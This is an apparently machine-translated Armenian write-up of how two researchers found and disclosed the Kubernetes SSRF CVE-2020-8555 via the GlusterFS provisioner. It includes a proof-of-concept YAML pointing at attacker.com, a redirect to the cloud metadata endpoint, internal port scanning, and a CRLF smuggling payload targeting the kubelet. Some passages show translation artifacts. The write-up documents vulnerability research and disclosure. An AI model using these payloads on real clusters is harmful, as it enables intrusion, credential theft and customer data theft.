🥇Երբ խոսքը միայն Kubernetes-ի խոցելիության մասին չէ...

Նշում. թարգմ.Այս հոդվածի հեղինակները մանրամասն խոսում են այն մասին, թե ինչպես են իրենց հաջողվել բացահայտել խոցելիությունը CVE-2020–8555 Կուբերնետեսում։ Թեև ի սկզբանե այն այնքան էլ վտանգավոր չէր թվում, այլ գործոնների հետ միասին որոշ ամպային մատակարարների համար դրա կրիտիկականությունը առավելագույնն էր։ Մի քանի կազմակերպություններ մեծահոգաբար պարգևատրել են մասնագետներին իրենց աշխատանքի համար։

Ով ենք մենք

Մենք երկու ֆրանսիացի անվտանգության հետազոտողներ ենք, ովքեր համատեղ հայտնաբերել են խոցելիություն Կուբերնետեսում: Մեր անուններն են՝ Brice Augras և Christophe Hauquiert, բայց Bug Bounty-ի բազմաթիվ հարթակներում մենք հայտնի ենք որպես Reeverzax և Hach համապատասխանաբար.

Բրիս Օգրաս - Groupe Asten ընկերություն;
Քրիստոֆ Հաուկիերտ - Kubernetes-ի ճարտարապետ Nokia-ում:

Ինչ է պատահել:

Այս հոդվածը մեր միջոցն է կիսելու, թե ինչպես սովորական հետազոտական նախագիծը անսպասելիորեն վերածվեց վրիպակների որսորդների կյանքում ամենահետաքրքիր արկածի (գոնե առայժմ):

Ինչպես հավանաբար գիտեք, վրիպակների որսորդներն ունեն մի քանի ուշագրավ առանձնահատկություններ.

նրանք ապրում են պիցցայով և գարեջուրով;
նրանք աշխատում են, երբ բոլորը քնած են:

Մենք բացառություն չենք այս կանոններից. մենք սովորաբար հանդիպում ենք հանգստյան օրերին և անքուն գիշերներ ենք անցկացնում հաքերների վրա: Բայց այս գիշերներից մեկն ավարտվեց շատ անսովոր կերպով.

Սկզբում պատրաստվում էինք հանդիպել՝ քննարկելու մասնակցությունը CTF հաջորդ օրը. Կառավարվող սպասարկման միջավայրում Kubernetes անվտանգության մասին զրույցի ընթացքում մենք հիշեցինք SSRF-ի հին գաղափարը (Սերվերի կողմից հարցումների կեղծում) և որոշեց փորձել օգտագործել այն որպես հարձակման սցենար:

Ժամը 11:XNUMX-ին մենք նստեցինք մեր հետազոտությունն անելու և վաղ առավոտյան պառկեցինք քնելու՝ շատ գոհ արդյունքներից: Այս հետազոտության շնորհիվ էր, որ մենք հանդիպեցինք MSRC Bug Bounty ծրագրին և հայտնեցինք արտոնությունների ընդլայնման շահագործում:

Անցավ մի քանի շաբաթ/ամիս, և մեր անսպասելի արդյունքը հանգեցրեց Azure Cloud Bug Bounty-ի պատմության մեջ ամենաբարձր պարգևներից մեկի՝ ի լրումն այն, ինչ մենք ստացանք Kubernetes-ից:

Մեր հետազոտական նախագծի հիման վրա Kubernetes-ի արտադրանքի անվտանգության կոմիտեն հրապարակեց CVE-2020–8555.

Այժմ ես կցանկանայի հնարավորինս տարածել տեղեկատվություն հայտնաբերված խոցելիության մասին։ Հուսով ենք, որ դուք գնահատում եք գտածոն և կիսում տեխնիկական մանրամասները infosec համայնքի այլ անդամների հետ:

Այսպիսով, ահա մեր պատմությունը ...

Համատեքստ

Տեղի ունեցածը առավելագույնս իմաստավորելու համար նախ նայենք, թե ինչպես է Kubernetes-ը աշխատում ամպային կառավարվող միջավայրում:

Նման միջավայրում Kubernetes կլաստերի օրինականացման դեպքում կառավարման շերտը սովորաբար կրում է ամպային մատակարարի պատասխանատվությունը.

Վերահսկիչ շերտը գտնվում է ամպային մատակարարի պարագծում, մինչդեռ Kubernetes հանգույցները գտնվում են հաճախորդի պարագծում:

Ծավալները դինամիկ կերպով բաշխելու համար օգտագործվում է մեխանիզմ, որը դինամիկ կերպով տրամադրում է դրանք արտաքին պահեստից և համեմատում դրանք PVC-ի հետ (համառ ծավալի պահանջ, այսինքն՝ ծավալի հարցում):

Այսպիսով, այն բանից հետո, երբ PVC-ը ստեղծվի և միացվի StorageClass-ին K8s կլաստերում, ծավալը ապահովելու հետագա գործողությունները ստանձնում է kube/cloud կարգավորիչի կառավարիչը (դրա ճշգրիտ անվանումը կախված է թողարկումից): (Նշում. թարգմ.Մենք արդեն գրել ենք ավելին CCM-ի մասին՝ օգտագործելով դրա իրականացման օրինակը ամպային մատակարարներից մեկի համար այստեղ.)

Կան մի քանի տեսակի մատակարարներ, որոնք աջակցվում են Kubernetes-ի կողմից. դրանցից շատերը ներառված են նվագախմբի կորիզը, մինչդեռ մյուսները կառավարվում են լրացուցիչ մատակարարների կողմից, որոնք տեղադրված են կլաստերի պատյաններում:

Մեր հետազոտության ընթացքում մենք կենտրոնացել ենք ներքին ծավալի ապահովման մեխանիզմի վրա, որը պատկերված է ստորև.

Ծավալների դինամիկ ապահովում՝ ներկառուցված Kubernetes մատակարարի միջոցով

Կարճ ասած, երբ Kubernetes-ը տեղակայվում է կառավարվող միջավայրում, վերահսկիչի կառավարիչը պատասխանատվություն է կրում ամպային մատակարարի վրա, սակայն ծավալի ստեղծման հարցումը (վերևի գծապատկերում 3-րդ համարը) դուրս է գալիս ամպային մատակարարի ներքին ցանցից: Եվ ահա, որտեղ ամեն ինչ իսկապես հետաքրքիր է դառնում:

Հաքերային հարձակման սցենար

Այս բաժնում մենք կբացատրենք, թե ինչպես ենք օգտվել վերը նշված աշխատանքային հոսքից և մուտք գործել ամպային ծառայություններ մատուցողի ներքին ռեսուրսներ: Այն նաև ցույց կտա ձեզ, թե ինչպես կարող եք կատարել որոշակի գործողություններ, ինչպիսիք են ներքին հավատարմագրերի ձեռքբերումը կամ արտոնությունների ընդլայնումը:

Մեկ պարզ մանիպուլյացիա (այս դեպքում՝ Service Side Request Forgery-ը) օգնեց հաճախորդի միջավայրից դուրս անցնել տարբեր ծառայություններ մատուցողների կլաստերների՝ կառավարվող K8-ների ներքո:

Մեր հետազոտության ընթացքում մենք կենտրոնացել ենք GlusterFS մատակարարի վրա: Չնայած այն հանգամանքին, որ գործողությունների հետագա հաջորդականությունը նկարագրված է այս համատեքստում, Quobyte-ը, StorageOS-ը և ScaleIO-ն ենթակա են նույն խոցելիության:

Դինամիկ ծավալի ապահովման մեխանիզմի չարաշահում

Պահպանման դասի վերլուծության ժամանակ GlusterFS Գոլանգի հաճախորդի կոդով մենք նկատեցոր առաջին HTTP հարցումով (3), որն ուղարկվել է ծավալի ստեղծման ժամանակ, մինչև պարամետրի մաքսային URL-ի վերջը resturl ավելացված է /volumes.

Մենք որոշեցինք ազատվել այս լրացուցիչ ճանապարհից՝ ավելացնելով # պարամետրով resturl. Ահա YAML-ի առաջին կոնֆիգուրացիան, որը մենք օգտագործել ենք՝ փորձարկելու կիսակույր SSRF խոցելիությունը (Դուք կարող եք ավելին կարդալ կիսակույր կամ կիսակույր SSRF-ի մասին, օրինակ. այստեղ - մոտ. թարգմ.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Այնուհետև մենք օգտագործեցինք երկուականը Kubernetes կլաստերը հեռակա կառավարելու համար կուբեկտլ. Սովորաբար, ամպային մատակարարները (Azure, Google, AWS և այլն) թույլ են տալիս Ձեզ ստանալ հավատարմագրեր՝ այս կոմունալում օգտագործելու համար:

Դրա շնորհիվ ես կարողացա օգտագործել իմ «հատուկ» ֆայլը: Kube-controller-manager-ը կատարեց արդյունքում ստացված HTTP հարցումը.

kubectl create -f sc-poc.yaml

Պատասխանը՝ հարձակվողի տեսանկյունից

Դրանից կարճ ժամանակ անց մենք կարողացանք նաև HTTP պատասխան ստանալ թիրախային սերվերից՝ հրամանների միջոցով describe pvc կամ get events kubectl-ում։ Եվ իսկապես, այս լռելյայն Kubernetes վարորդը չափազանց խոսուն է իր նախազգուշացումների/սխալների հաղորդագրություններում...

Ահա մի օրինակ՝ հղումով դեպի https://www.google.frսահմանել որպես պարամետր resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Այս մոտեցմամբ մենք սահմանափակվեցինք նման հարցումներով HTTP POST և չէր կարող ստանալ պատասխան մարմնի բովանդակությունը, եթե վերադարձի կոդը 201. Ուստի մենք որոշեցինք լրացուցիչ հետազոտություններ կատարել և հաքերային այս սցենարը ընդլայնեցինք նոր մոտեցումներով։

Մեր հետազոտության էվոլյուցիան

Ընդլայնված սցենար #1. 302 վերահղման օգտագործումը արտաքին սերվերից՝ HTTP մեթոդը փոխելու համար՝ ներքին տվյալների հավաքագրման ավելի ճկուն միջոց ապահովելու համար:
Ընդլայնված սցենար #2. Ավտոմատացնել LAN սկանավորումը և ներքին ռեսուրսների հայտնաբերումը:
Ընդլայնված սցենար #3. օգտագործելով HTTP CRLF + մաքսանենգություն («հարցման մաքսանենգություն»)՝ հարմարեցված HTTP հարցումներ ստեղծելու և kube-controller մատյաններից արդյունահանված տվյալները ստանալու համար:

Տեխնիկական բնութագրեր

Հետազոտության ընթացքում օգտագործվել է Azure Kubernetes Service (AKS) Kubernetes տարբերակի 1.12-ը Հյուսիսային Եվրոպայի տարածաշրջանում:
Վերը նկարագրված սցենարները կատարվել են Kubernetes-ի վերջին թողարկումներում, բացառությամբ երրորդ սցենարի, քանի որ. նրան պետք էր Kubernetes-ը, որը կառուցված էր Golang տարբերակով ≤ 1.12:
Հարձակվողի արտաքին սերվեր - https://attacker.com.

Ընդլայնված սցենար #1. HTTP POST հարցումը վերահղում դեպի GET և ստանալով զգայուն տվյալներ

Նախնական մեթոդը բարելավվել է հարձակվողի սերվերի վերադարձի կազմաձևմամբ 302 HTTP RetcodePOST հարցումը GET հարցումը փոխարկելու համար (քայլ 4 դիագրամում).

Առաջին հարցումը (3) գալիս է հաճախորդից GlusterFS (Controller Manager), ունի POST տեսակ: Հետևելով այս քայլերին` մենք կարողացանք այն վերածել GET-ի.

Որպես պարամետր resturl StorageClass-ում նշված է http://attacker.com/redirect.php.
Վերջնակետ https://attacker.com/redirect.php պատասխանում է 302 HTTP կարգավիճակի կոդով՝ հետևյալ Տեղադրության վերնագրով. http://169.254.169.254. Սա կարող է լինել ցանկացած այլ ներքին ռեսուրս. այս դեպքում վերահղման հղումը օգտագործվում է բացառապես որպես օրինակ:
By default net/http գրադարան Golang-ը վերահղում է հարցումը և փոխակերպում POST-ը GET-ի՝ 302 կարգավիճակի կոդով, ինչի արդյունքում HTTP GET հարցում է ուղարկվում թիրախային ռեսուրսին:

HTTP պատասխանի մարմինը կարդալու համար դուք պետք է անեք describe PVC օբյեկտ.

kubectl describe pvc xxx

Ահա JSON ձևաչափով HTTP պատասխանի օրինակ, որը մենք կարողացանք ստանալ.

Հայտնաբերված խոցելիության հնարավորություններն այն ժամանակ սահմանափակ էին հետևյալ կետերի պատճառով.

HTTP վերնագրերը ելքային հարցումում զետեղելու անկարողություն:
POST հարցումը մարմնի պարամետրերով կատարելու անկարողություն (սա հարմար է առանցքային արժեքը պահանջելու համար աշխատող etcd օրինակից 2379 նավահանգիստ, եթե օգտագործվում է չգաղտնագրված HTTP):
Պատասխանի մարմնի բովանդակությունը առբերելու անկարողություն, երբ կարգավիճակի կոդը 200 էր, և պատասխանը չուներ JSON բովանդակության տեսակ:

Ընդլայնված սցենար թիվ 2. տեղական ցանցի սկանավորում

SSRF-ի այս կիսակույր մեթոդն այնուհետև օգտագործվեց ամպային մատակարարի ներքին ցանցը սկանավորելու և ունկնդրման տարբեր ծառայություններ (մետատվյալների օրինակ, Kubelet և այլն և այլն) սկանավորելու համար՝ հիմնված պատասխանների վրա։ kube կարգավորիչ.

Նախ որոշվեցին Kubernetes-ի բաղադրիչների ստանդարտ լսողական պորտերը (8443, 10250, 10251 և այլն), այնուհետև մենք պետք է ավտոմատացնեինք սկանավորման գործընթացը։

Տեսնելով, որ ռեսուրսների սկանավորման այս մեթոդը շատ կոնկրետ է և համատեղելի չէ դասական սկաներների և SSRF գործիքների հետ, մենք որոշեցինք ստեղծել մեր սեփական աշխատողները bash սցենարով, որն ավտոմատացնում է ամբողջ գործընթացը:

Օրինակ՝ ներքին ցանցի 172.16.0.0/12 միջակայքը արագ սկանավորելու համար զուգահեռ գործարկվել է 15 աշխատող։ Վերոնշյալ IP տիրույթը ընտրվել է միայն որպես օրինակ և կարող է փոփոխվել ձեր հատուկ ծառայություններ մատուցողի IP տիրույթում:

Մեկ IP հասցե և մեկ պորտ սկանավորելու համար անհրաժեշտ է անել հետևյալը.

ջնջել վերջին ստուգված StorageClass-ը;
հեռացնել նախորդ հաստատված Մշտական ծավալի պահանջը.
փոխել IP-ի և Port-ի արժեքները sc.yaml;
ստեղծել StorageClass նոր IP-ով և պորտով;
ստեղծել նոր PVC;
քաղվածք սկան արդյունքները, օգտագործելով նկարագրել PVC-ի համար:

Ընդլայնված սցենար #3. CRLF ներարկում + HTTP մաքսանենգություն Kubernetes կլաստերի «հին» տարբերակներում

Եթե բացի սրանից, մատակարարը հաճախորդներին առաջարկել է K8s կլաստերի հին տարբերակները и թույլ տվեց նրանց մուտք գործել kube-controller-manager-ի տեղեկամատյաններ, էֆեկտն էլ ավելի նշանակալից դարձավ:

Հարձակվողի համար իսկապես շատ ավելի հարմար է փոխել HTTP հարցումները, որոնք նախատեսված են իր հայեցողությամբ ամբողջական HTTP պատասխան ստանալու համար:

Վերջին սցենարն իրականացնելու համար պետք է բավարարվեին հետևյալ պայմանները.

Օգտագործողը պետք է մուտք ունենա kube-controller-manager տեղեկամատյաններ (ինչպես, օրինակ, Azure LogInsights-ում):
Kubernetes կլաստերը պետք է օգտագործի Golang-ի 1.12-ից ցածր տարբերակ:

Մենք տեղակայեցինք տեղական միջավայր, որը մոդելավորում էր հաղորդակցությունը GlusterFS Go հաճախորդի և կեղծ թիրախային սերվերի միջև (մենք առայժմ ձեռնպահ կմնանք PoC-ի հրապարակումից):

Հայտնաբերվել է խոցելիություն, ազդելով 1.12-ից ցածր Golang տարբերակների վրա և թույլ տալով հաքերներին իրականացնել HTTP մաքսանենգ/CRLF հարձակումներ։

Համադրելով վերը նկարագրված կիսակույր SSRF-ը вместе Դրանով մենք կարողացանք հարցումներ ուղարկել մեր ցանկությամբ, ներառյալ վերնագրերի փոխարինումը, HTTP մեթոդը, պարամետրերը և տվյալները, որոնք այնուհետև մշակեց kube-controller-manager-ը:

Ահա պարամետրում աշխատող «խայծի» օրինակ resturl StorageClass, որն իրականացնում է հարձակման նմանատիպ սցենար.

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Արդյունքը սխալ է չպահանջված պատասխան, որի մասին հաղորդագրություն գրանցված է վերահսկիչի մատյաններում։ Լռելյայնորեն միացված լռակյացության շնորհիվ, HTTP պատասխան հաղորդագրության բովանդակությունը նույնպես պահպանվում է այնտեղ:

Սա մեր ամենաարդյունավետ «խայծն» էր հայեցակարգի ապացուցման շրջանակներում։

Օգտագործելով այս մոտեցումը՝ մենք կարողացանք կատարել հետևյալ հարձակումներից մի քանիսը տարբեր կառավարվող k8s պրովայդերների կլաստերների վրա. արտոնությունների ընդլայնում մետատվյալների օրինակների հավատարմագրերով, Master DoS (չկոդավորված) HTTP հարցումներ etcd հիմնական օրինակների վրա և այլն:

Հետեւանքները

Kubernetes-ի պաշտոնական հայտարարության մեջ մեր հայտնաբերած SSRF խոցելիության վերաբերյալ այն գնահատվել է CVSS 6.3/10CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N: Եթե հաշվի առնենք միայն Kubernetes պարագծի հետ կապված խոցելիությունը, ամբողջականության վեկտորը (ամբողջականության վեկտոր) այն որակվում է որպես Ոչ մեկը.

Այնուամենայնիվ, հնարավոր հետևանքների գնահատումը կառավարվող սպասարկման միջավայրի համատեքստում (և սա մեր հետազոտության ամենահետաքրքիր մասն էր) մեզ դրդեց վերադասակարգել խոցելիությունը վարկանիշի: Կրիտիկական CVSS10/10 շատ դիստրիբյուտորների համար:

Ստորև բերված են լրացուցիչ տեղեկություններ, որոնք կօգնեն ձեզ հասկանալ մեր նկատառումները ամպային միջավայրում հնարավոր ազդեցությունները գնահատելիս.

Ամբողջությունը

Կատարեք հրամանները հեռակա կարգով՝ օգտագործելով ձեռք բերված ներքին հավատարմագրերը:
Վերարտադրել վերը նշված սցենարը IDOR (Անապահով ուղղակի օբյեկտի հղում) մեթոդի միջոցով տեղական ցանցում հայտնաբերված այլ ռեսուրսների հետ:

Գաղտնիություն

Հարձակման տեսակը Կողմնակի շարժում շնորհիվ ամպային հավատարմագրերի գողության (օրինակ՝ մետատվյալների API):
Տեղական ցանցի սկանավորման միջոցով տեղեկատվության հավաքում (SSH տարբերակի որոշում, HTTP սերվերի տարբերակը, ...):
Հավաքեք օրինակների և ենթակառուցվածքի տեղեկատվություն՝ հարցումներ կատարելով ներքին API-ների, ինչպիսիք են մետատվյալների API-ն (http://169.254.169.254,…):
Հաճախորդների տվյալների գողություն՝ օգտագործելով ամպային հավատարմագրերը:

Հասանելիություն

Հարձակման վեկտորների հետ կապված բոլոր շահագործման սցենարները ամբողջականություն, կարող է օգտագործվել կործանարար գործողությունների համար և հանգեցնել նրան, որ հաճախորդի պարագծից (կամ որևէ այլ) հիմնական օրինակները անհասանելի են:

Քանի որ մենք գտնվում էինք K8-ի կառավարվող միջավայրում և գնահատում էինք ազդեցությունը ամբողջականության վրա, մենք կարող ենք պատկերացնել բազմաթիվ սցենարներ, որոնք կարող են ազդել հասանելիության վրա: Լրացուցիչ օրինակները ներառում են etcd տվյալների բազայի փչացումը կամ Kubernetes API-ին քննադատական զանգ կատարելը:

Ժամանակագրություն

Դեկտեմբերի 6, 2019. խոցելիության մասին հաղորդվել է MSRC Bug Bounty-ին:
3 թվականի հունվարի 2020. Երրորդ կողմը տեղեկացրել է Kubernetes-ի ծրագրավորողներին, որ մենք աշխատում ենք անվտանգության խնդրի վրա։ Եվ խնդրեց նրանց SSRF-ը դիտարկել որպես ներքին (հիմնական) խոցելիություն: Այնուհետև մենք ընդհանուր զեկույց ներկայացրեցինք խնդրի աղբյուրի վերաբերյալ տեխնիկական մանրամասներով:
Հունվարի 15, 2020. Մենք տեխնիկական և ընդհանուր հաշվետվություններ ենք տրամադրել Kubernetes-ի ծրագրավորողներին նրանց խնդրանքով (HackerOne հարթակի միջոցով):
15 թվականի հունվարի 2020. Kubernetes-ի մշակողները մեզ տեղեկացրեցին, որ անցյալ թողարկումների համար կիսակույր SSRF + CRLF ներարկումը համարվում է հիմնական խոցելիություն: Մենք անմիջապես դադարեցինք վերլուծել այլ ծառայություններ մատուցողների պարագծերը. K8s թիմն այժմ զբաղվում էր հիմնական պատճառներով:
15 թվականի հունվարի 2020. MSRC պարգևը ստացվել է HackerOne-ի միջոցով:
16 թվականի հունվարի 2020. Kubernetes PSC-ն (Ապրանքների անվտանգության կոմիտեն) ճանաչեց խոցելիությունը և խնդրեց այն գաղտնի պահել մինչև մարտի կեսերը՝ հնարավոր զոհերի մեծ թվի պատճառով:
Փետրվարի 11, 2020․ ստացվել է Google VRP պարգև։
4 թվականի մարտի 2020. Kubernetes պարգևը ստացվել է HackerOne-ի միջոցով։
15 մարտի, 2020. Սկզբնապես ծրագրված հանրային բացահայտումը հետաձգվեց COVID-19 իրավիճակի պատճառով:
1 թվականի հունիսի 2020. Kubernetes + Microsoft-ի համատեղ հայտարարություն խոցելիության մասին:

TL. DR

Գարեջուր ենք խմում ու պիցցա ենք ուտում :)
Մենք հայտնաբերեցինք հիմնական խոցելիություն Kubernetes-ում, թեև մտադրություն չունեինք դա անելու:
Մենք լրացուցիչ վերլուծություն ենք անցկացրել տարբեր ամպային պրովայդերների կլաստերների վրա և կարողացել ենք մեծացնել խոցելիության հետևանքով առաջացած վնասը՝ հավելյալ հիանալի բոնուսներ ստանալու համար:
Այս հոդվածում դուք կգտնեք շատ տեխնիկական մանրամասներ: Մենք ուրախ կլինենք քննարկել դրանք ձեզ հետ (Twitter: @ReeverZax & @__hach_).
Պարզվեց, որ ամեն տեսակ ձեւականություններն ու հաշվետվությունները սպասվածից շատ ավելի երկար տեւեցին։

Սայլակ

PS թարգմանչից

Կարդացեք նաև մեր բլոգում.

Source: www.habr.com

Երբ խոսքը միայն Kubernetes-ի խոցելիության մասին չէ...